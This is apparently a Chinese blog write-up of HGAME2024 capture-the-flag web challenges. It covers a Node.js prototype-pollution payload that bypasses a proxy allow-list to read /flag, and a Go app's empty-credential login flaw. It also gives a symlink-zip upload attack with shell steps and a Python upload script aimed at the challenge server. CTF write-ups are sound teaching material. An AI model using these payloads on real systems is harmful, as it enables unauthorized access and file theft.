HGAME2024 WEEK3-WEB

题目一、WebVPN

考点、原型链污染,__proto__过滤

题目描述、

开题:

app.js审计

 登录的路由/user/login

app.post("/user/login", (req, res) => {
  const { username, password } = req.body;
  if (
    typeof username != "string" ||
    typeof password != "string" ||
    !username ||
    !password
  ) {
    res.status(400);
    res.end("invalid username or password");
    return;
  }
  if (!userStorage[username]) {
    res.status(403);
    res.end("invalid username or password");
    return;
  }
  if (userStorage[username].password !== password) {
    res.status(403);
    res.end("invalid username or password");
    return;
  }
  req.session.username = username;
  res.send("login success");
});

一个登录的校验,由于密码账号都给了,没有什么悬念

路由/user/info

// under development
app.post("/user/info", (req, res) => {
  if (!req.session.username) {
    res.sendStatus(403);
  }
  update(userStorage[req.session.username].info, req.body);
  res.sendStatus(200);
});

 有一个update函数可以更新post方法传递的req.body,往上查找update函数

function update(dst, src) {
  for (key in src) {
    if (key.indexOf("__") != -1) {
      continue;
    }
    if (typeof src[key] == "object" && dst[key] !== undefined) {
      update(dst[key], src[key]);
      continue;
    }
    dst[key] = src[key];
  }
}

第一个if过滤了proto,第二个if就是明显的原型链污染。

相关连接:

Node.js 原型污染攻击的分析与利用 - 先知社区

深入理解JavaScript Prototype污染攻击 - FreeBuf网络安全行业门户

路由/proxy

检验url是否为合法的url,检测是否在strategy中的域名。

var userStorage = {
  username: {
    password: "password",
    info: {
      age: 18,
    },
    strategy: {
      "baidu.com": true,
      "google.com": false,
    },
  },
};

在题目所给的username的信息中只有baidu.com合法

// demo service behind webvpn
app.get("/flag", (req, res) => {
  if (
    req.headers.host != "127.0.0.1:3000" ||
    req.hostname != "127.0.0.1" ||
    req.ip != "127.0.0.1" 
  ) {
    res.sendStatus(400);
    return;
  }
  const data = fs.readFileSync("/flag");
  res.send(data);
});

用get请求访问/flag,要满足ip地址,主机名均为127.0.0.1而且Host要为127.0.0.1:3000

现在就是如何让127.0.0.1:3000变成一个合法的,没错,就是用原型链污染。

在/user/info中利用原型链污染

{
"constructor": {
        "prototype": {
            "127.0.0.1": true
        }
    }
}

下图是我不断试错的结果,均是失败的 

最后成功带出


题目二、Zero Link

考点、文件上传软链接,登录的逻辑漏洞

题目描述

开题:

附件

在ZeroLink\src\internal\database下记录着用户和密码

在ZeroLink\src\internal\controller\user下审计,user.go

发现他的GetUserInfo函数很奇怪

他好像只判断token和username是否在数据库中,或者是否为Admin或者0000,却没有判断是否为空,将两者都设置为空

成功读取账号密码,个人猜测是因为,数据库中第一位就是admin所以默认读取了第一位的信息

登录后是文件上传,但是前端校验是

上网查,发现这个好像linux的火狐、mac电脑上的谷歌和火狐才会解析成这样,

个人电脑上解析成

因为这个是前端校验,bp抓不到包

审计代码ZeroLink\src\internal\controller\file

发现他其实是一个软链接,可以覆盖前面上传的文件,同时他有一个函数ReadSecretFile有点类似文件读取,但是要在secret上写文件的路径,发现原来是写/fake_flag,那么我们把secret文件改成/flag读取真正的文件。

我们用python上传

import requests
def upload_zip_file(file_path, upload_url):
    try:
        with open(file_path, 'rb') as file:
            with requests.Session() as session:
                # 设置会话的 Cookie
                session.cookies['session'] = "MTcwODUxMDcxMnxEWDhFQVFMX2dBQUJFQUVRQUFBbl80QUFBUVp6ZEhKcGJtY01DZ0FJZFhObGNtNWhiV1VHYzNSeWFXNW5EQWNBQlVGa2JXbHV8BTjAhJxSnL9bUmZqhBdCIPwZmoq1jmfwvFKm66qdlV0="  # 设置 session_id,替换为实际的 session_id
                # 发送 POST 请求
                files = {'file': ('file.zip', file, 'application/zip')}
                response = session.post(upload_url, files=files)
                if response.status_code == 200:
                    print("File uploaded successfully.")
                    print("Server response:", response.text)
                else:
                    print(f"Failed to upload file. Status code: {response.status_code}")
                    print("Error message:", response.text)
    except Exception as e:
        print(f"An error occurred: {e}")
def click(url):
    with requests.Session() as session:
        with requests.Session() as session:
            # 设置会话的 Cookie
            session.cookies['session'] = "MTcwODUyMzkzNnxEWDhFQVFMX2dBQUJFQUVRQUFBbl80QUFBUVp6ZEhKcGJtY01DZ0FJZFhObGNtNWhiV1VHYzNSeWFXNW5EQWNBQlVGa2JXbHV86zgsTbR4_Gr9rYbNYRSdct6zteJTzcBVct0gz4oFDc0="  # 设置 session_id,替换为实际的 session_id
            # 发送 GET 请求
            response = session.get(url)
            if response.status_code == 200:
                print(response.text)
            else:
                print("erre",response.text)
if __name__ == "__main__":
    file_path = './she1.zip'  # 替换为要上传的 ZIP 文件的路径
    upload_url = 'http://47.102.184.100:31488/api/upload'  # 替换为接收上传的服务器端 URL
    url='http://47.102.184.100:31488/api/unzip'
    upload_zip_file(file_path,upload_url)
    click(url)

kali软连接的步骤

//创建一个文件夹
mkdir app1

cd app1

//软链接
ln -s /app she

//压缩
zip --symlinks she.zip she

//删除she 软连接,创建app文件夹
rm -rf she
mkdir she

//返回上一级,因为secret处于与app1同级
mv secret app1/she

//secret的内容为/flag

//进入到app1文件夹
zip -r she1.zip ./she

//将she.zip和she1.zip拖到python脚本的同级目录

上传第一个

上传第二个

访问api/secret


题目三、VidarBox【*】

  • 24
    点赞
  • 22
    收藏
    觉得还不错? 一键收藏
  • 4
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值